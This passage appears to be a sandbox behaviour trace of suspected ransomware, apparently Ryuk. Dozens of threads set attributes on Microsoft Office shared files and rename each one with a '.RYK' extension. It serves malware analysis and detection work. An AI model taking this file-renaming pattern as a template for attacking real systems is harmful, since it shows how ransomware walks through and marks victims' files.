	[0166.182] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML", dwFileAttributes=0x80) returned 0
	[0166.282] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0166.282] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0166.283] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\SETUP.XML.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\setup.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 305
	os_tid = 0xce0

	[0166.184] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML", dwFileAttributes=0x80) returned 0
	[0166.185] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\wordmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0166.185] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0166.185] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\wordmui.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\wordmui.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 306
	os_tid = 0xce4

	[0166.285] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms", dwFileAttributes=0x80) returned 0
	[0166.291] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0166.302] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0166.302] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 307
	os_tid = 0xce8

	[0166.309] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF", dwFileAttributes=0x80) returned 0
	[0166.315] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppwmi.mof"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0166.326] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0166.326] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppwmi.mof"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppwmi.mof.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 308
	os_tid = 0xcec

	[0166.386] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX", dwFileAttributes=0x80) returned 0
	[0166.433] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_en.lex"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0166.434] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0166.434] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_en.lex"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_en.lex.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 309
	os_tid = 0xcf0

	[0166.387] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX", dwFileAttributes=0x80) returned 0
	[0166.388] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_es.lex"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0166.388] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0166.388] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_es.lex"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_es.lex.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 310
	os_tid = 0xcf4

	[0166.390] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX", dwFileAttributes=0x80) returned 0
	[0166.436] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_fr.lex"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0166.436] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0166.436] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_fr.lex"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_fr.lex.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 311
	os_tid = 0xcf8

	[0166.525] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM", dwFileAttributes=0x80) returned 0
	[0166.525] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\mcabout.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0166.526] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0166.526] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\mcabout.htm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MCABOUT.HTM.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\mcabout.htm.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 312
	os_tid = 0xcfc

	[0166.528] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML", dwFileAttributes=0x80) returned 0
	[0166.528] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\dates.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0166.528] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0166.528] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\dates.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\DATES.XML.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\dates.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 313
	os_tid = 0xd00

	[0166.530] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML", dwFileAttributes=0x80) returned 0
	[0166.530] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\phone.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0166.531] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0166.531] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\phone.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\phone.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 314
	os_tid = 0xd04

	[0166.532] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT", dwFileAttributes=0x80) returned 0
	[0166.619] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0166.619] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0166.620] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.dat"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.DAT.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.dat.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 315
	os_tid = 0xd08

	[0166.534] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML", dwFileAttributes=0x80) returned 0
	[0166.621] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0166.622] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0166.622] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 316
	os_tid = 0xd0c

	[0166.536] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML", dwFileAttributes=0x80) returned 0
	[0166.536] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\time.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0166.536] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0166.537] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\time.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\TIME.XML.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\time.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 317
	os_tid = 0xd10

	[0166.538] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL", dwFileAttributes=0x80) returned 0
	[0166.538] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\basmla.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0166.539] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0166.539] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\basmla.xsl"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\basmla.xsl.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 318
	os_tid = 0xd14

	[0166.624] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT", dwFileAttributes=0x80) returned 0
	[0166.794] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0166.794] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0166.795] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.txt"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.txt.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 319
	os_tid = 0xd18

	[0166.629] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB", dwFileAttributes=0x80) returned 0
	[0166.797] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\mstag.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0166.798] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0166.798] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\mstag.tlb"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\mstag.tlb.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 320
	os_tid = 0xd1c

	[0166.683] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm", dwFileAttributes=0x80) returned 0
	[0166.916] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0166.917] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0166.917] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.htm.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.htm.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 321
	os_tid = 0xd20

	[0166.686] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg", dwFileAttributes=0x80) returned 0
	[0166.687] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0166.691] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0166.691] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 322
	os_tid = 0xd24

	[0166.693] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg", dwFileAttributes=0x80) returned 0
	[0166.696] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\blue_gradient.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0166.697] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0166.697] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\blue_gradient.jpg"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\blue_gradient.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 323
	os_tid = 0xd28

	[0166.716] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif", dwFileAttributes=0x80) returned 0
	[0166.716] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\cave_drawings.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0166.717] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0166.717] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\cave_drawings.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Cave_Drawings.gif.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\cave_drawings.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 324
	os_tid = 0xd2c

	[0166.918] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif", dwFileAttributes=0x80) returned 0
	[0166.919] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\connectivity.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0166.919] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0166.919] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\connectivity.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\connectivity.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 326
	os_tid = 0xd34

	[0166.921] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf", dwFileAttributes=0x80) returned 0
	[0166.921] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\dotted_lines.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0166.922] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0166.922] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\dotted_lines.emf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Dotted_Lines.emf.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\dotted_lines.emf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 327
	os_tid = 0xd38

	[0166.924] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm", dwFileAttributes=0x80) returned 0
	[0166.924] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0166.924] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0166.924] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.htm.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 328
	os_tid = 0xd3c

	[0166.927] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg", dwFileAttributes=0x80) returned 0
	[0166.927] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0166.927] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0166.927] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 329
	os_tid = 0xd40

	[0166.930] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf", dwFileAttributes=0x80) returned 0
	[0167.110] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_1.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0167.110] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0167.110] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_1.emf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_1.emf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 330
	os_tid = 0xd44

